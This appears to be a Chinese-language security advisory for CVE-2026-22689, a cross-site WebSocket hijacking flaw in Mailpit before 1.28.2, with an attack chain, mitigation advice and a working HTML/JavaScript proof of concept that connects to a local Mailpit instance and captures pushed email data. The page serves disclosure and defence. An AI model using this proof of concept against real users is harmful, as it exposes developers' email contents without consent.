IPBUF安全漏洞报告
English
CVE-2026-22689 CVSS 6.5 中危

CVE-2026-22689 Mailpit WebSocket跨站劫持漏洞

披露日期: 2026-01-10

漏洞信息

漏洞编号
CVE-2026-22689
漏洞类型
跨站WebSocket劫持(CSWSH)
CVSS评分
6.5 中危
攻击向量
网络 (AV:N)
认证要求
无需认证 (PR:N)
用户交互
需要交互 (UI:R)
影响产品
Mailpit

相关标签

跨站WebSocket劫持CSWSHMailpitWebSocket安全Origin验证缺失邮件测试工具CVE-2026-22689

漏洞概述

Mailpit是一款面向开发者的邮件测试工具和API。在1.28.2之前的版本中,Mailpit的WebSocket服务器配置为接受来自任意来源的连接请求。由于缺少Origin头部验证机制,该漏洞允许攻击者实施跨站WebSocket劫持攻击。当开发者在本地运行Mailpit并访问攻击者控制的恶意网站时,攻击者可以建立与受害者Mailpit实例的WebSocket连接(默认地址为ws://localhost:8025),从而在实时获取敏感数据,包括邮件内容、邮件头部信息以及服务器统计数据等。该漏洞的CVSS评分为6.5,属于中等严重程度,主要影响机密性。攻击成功需要用户交互,但不需要任何认证凭据。

技术细节

跨站WebSocket劫持(CSWSH)是一种利用Web应用程序WebSocket握手过程缺乏正确Origin验证的安全漏洞。在Mailpit中,WebSocket服务器在建立连接时未验证请求头中的Origin字段,导致任何来源的WebSocket连接请求都会被接受。攻击者通过在恶意网页中构造WebSocket连接代码,当受害者访问该页面时,浏览器会自动向localhost:8025的Mailpit WebSocket服务发起连接请求。由于浏览器的同源策略限制,攻击者无法直接读取响应内容,但WebSocket连接建立后,攻击者可以通过onmessage事件监听器接收服务器主动推送的数据。Mailpit的WebSocket服务会推送邮件内容和统计数据,攻击者因此可以获取这些敏感信息。攻击的先决条件是受害者必须在本地运行Mailpit且WebSocket服务处于活动状态。

攻击链分析

STEP 1
步骤1
攻击者创建恶意网页,包含自动向Mailpit WebSocket服务发起连接请求的JavaScript代码
STEP 2
步骤2
攻击者通过钓鱼邮件、恶意链接或被入侵的网站诱导受害者访问该恶意网页
STEP 3
步骤3
受害者的浏览器(位于运行Mailpit的主机上)自动向localhost:8025的Mailpit WebSocket服务发起连接请求
STEP 4
步骤4
Mailpit服务器由于未验证Origin头部,接受来自任意来源的WebSocket连接
STEP 5
步骤5
WebSocket连接建立后,Mailpit服务器通过该连接向攻击者推送邮件内容和服务器统计数据
STEP 6
步骤6
攻击者通过onmessage事件监听器实时接收并窃取敏感数据

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
<!-- CSWSH PoC for CVE-2026-22689 --> <!DOCTYPE html> <html> <head> <title>CVE-2026-22689 PoC</title> </head> <body> <h1>Mailpit CSWSH Attack PoC</h1> <div id="output"></div> <script> function log(message) { document.getElementById('output').innerHTML += message + '<br>'; console.log(message); } // Attempt WebSocket connection to Mailpit const ws = new WebSocket('ws://localhost:8025'); ws.onopen = function() { log('[+] WebSocket connection established!'); log('[+] Waiting for data from Mailpit...'); }; ws.onmessage = function(event) { log('[+] Received data: ' + event.data); }; ws.onerror = function(error) { log('[-] WebSocket error: ' + error); }; ws.onclose = function() { log('[-] WebSocket connection closed'); }; </script> </body> </html>

影响范围

Mailpit < 1.28.2

防御指南

临时缓解措施
如果无法立即升级,可通过配置反向代理(如Nginx)添加Origin验证规则,限制只有特定域名可以访问WebSocket服务。或者使用防火墙规则限制对localhost:8025端口的访问仅允许本地进程通信。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表